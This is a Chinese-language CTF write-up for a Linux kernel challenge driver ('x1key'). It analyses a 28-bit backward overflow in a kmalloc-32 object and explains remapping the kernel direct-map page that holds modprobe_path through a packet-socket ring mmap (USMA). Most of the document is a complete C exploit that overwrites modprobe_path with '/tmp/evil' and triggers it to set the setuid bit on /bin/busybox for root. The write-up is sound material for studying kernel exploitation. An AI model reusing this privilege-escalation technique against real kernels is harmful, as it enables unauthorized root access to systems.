前置问题
参考: https://kagehutatsu.com/?p=909
出这道题本质上是对n1sub这题的思考和拓展,更加关注USMA的更加通用行的攻击路径
漏洞分析
源码如下,漏洞点为一个kmalloc-32上的一个向低地址方向的28位的溢出
没有kfree也没有show功能,因此泄漏部分可能需要依赖其他结构体,并且有自旋锁,无法条件竞争
最后注意到对于x1key_ptr存在检测,必须要是合法的并且处于kernel直接映射段的地址
分析思路
对于kmalloc-32的slab而言,泄漏地址是相对困难的,尽管没有开启CONFIG_KMEM,对于常见的泄漏用结构体来说太小了
例如struct msg_msg而言,甚至都无法容纳下其结构体头部,那么可以想到负溢出修改的结构体应该是一些更加特殊的结构体
对于USMA而言,28位的负溢出修改的是某个内核堆地址的低28位,还是在没有任何泄漏的情况下
可以想到通过从全0到全1的遍历去直接搜索所有的内核直接映射区的所有内容,寻找一个有足够影响力的内存页
但是和n1sub不同,因为x1key_ptr存在检测,想要找到内核模块映射的内存页来修改x1key_ptr来做到任意地址写的方法行不通
那么最终需要找到一个处在kernel直接映射区的内存页来直接做到提权的目的
解题思路
参考:https://kagehutatsu.com/?p=961 的第一部分
对于通常而言,泄漏内核堆地址和内核基地址(内核代码段地址)是完全分离的,可以认为二者没有关联
但是根据参考文章可以推测出,内核代码段所在的内存页,在直接映射段必然存在自己的一份映射,并且读写权限必定相同(执行权限可能不同)
通过分析内核MMU的源代码,可以知道映射内核代码段的内存和内核堆基地址的偏移是固定的,固定为0x1000000
也就是内核代码段中紧跟着的全局变量的保存区也必然存在一份在直接映射区的相同映射,因为直接映射区直接映射了全部的物理内存
那么最终方法就非常清晰了,直接通过溢出USMA初始化后的指向某个内核堆的地址指针,其某个固定偏移处可以修改modprobe_path
以图中为例,USMA中内核堆地址指针必然是0xffff8d64???????,直接修改低28位到modprobe_path即可,甚至不需要任何的泄漏
EXP:
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/fs.h>
#include <linux/fuse.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/userfaultfd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define PAGE_SIZE 0x1000
#define PAGE_SHIFT 12
int dev_fd;
struct request
{
int idx;
unsigned int content;
}request_t;
void unshare_setup()
{
int temp_fd;
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET))
{
perror("unshare");
exit(1);
}
temp_fd = open("/proc/self/setgroups", O_WRONLY);
write(temp_fd, "deny", strlen("deny"));
close(temp_fd);
temp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
write(temp_fd, buffer, strlen(buffer));
close(temp_fd);
temp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
write(temp_fd, buffer, strlen(buffer));
close(temp_fd);
return;
}
int packet_socket_setup(uint32_t block_size, uint32_t frame_size,
uint32_t block_nr, uint32_t sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0)
{
perror("[-] socket (AF_PACKET)");
exit(1);
}
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0)
{
perror("[-] setsockopt (PACKET_VERSION)");
exit(1);
}
struct tpacket_req3 req3;
memset(&req3, 0, sizeof(req3));
req3.tp_sizeof_priv = sizeof_priv;
req3.tp_block_nr = block_nr;
req3.tp_block_size = block_size;
req3.tp_frame_size = frame_size;
req3.tp_frame_nr = (block_size * block_nr) / frame_size;
req3.tp_retire_blk_tov = timeout;
req3.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
if (rv < 0)
{
perror("[-] setsockopt (PACKET_RX_RING)");
exit(1);
}
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_halen = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0)
{
perror("[-] bind (AF_PACKET)");
exit(1);
}
return s;
}
char *shmid_open()
{
int shmid;
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
{
perror("Shmget");
exit(-1);
}
char *shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void *)-1)
{
perror("Shmat");
exit(-1);
}
return shmaddr;
}
void new()
{
memset(&request_t, 0, sizeof(struct request));
ioctl(dev_fd, 0x101, &request_t);
}
void edit(int idx, uint32_t content)
{
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
request_t.content = content;
ioctl(dev_fd, 0x102, &request_t);
}
int main()
{
unshare_setup();
dev_fd = open("/dev/x1key",O_RDWR);
char *shmaddr = shmid_open();
new();
shmdt(shmaddr);
int block_nr = 0x4;
int packet_fds = packet_socket_setup(PAGE_SIZE, 0x800, block_nr, 0, 1000);
edit(0, 0x212a000);
char *page = mmap(NULL, PAGE_SIZE * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);
char *modprobe_path = page + PAGE_SIZE * 0x3 + 0xc0;
strcpy(modprobe_path, "/tmp/evil");
munmap(page, PAGE_SIZE * block_nr);
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("echo '#!/bin/sh\nchmod a+s /bin/busybox' > /tmp/evil");
system("chmod +x /tmp/evil");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
}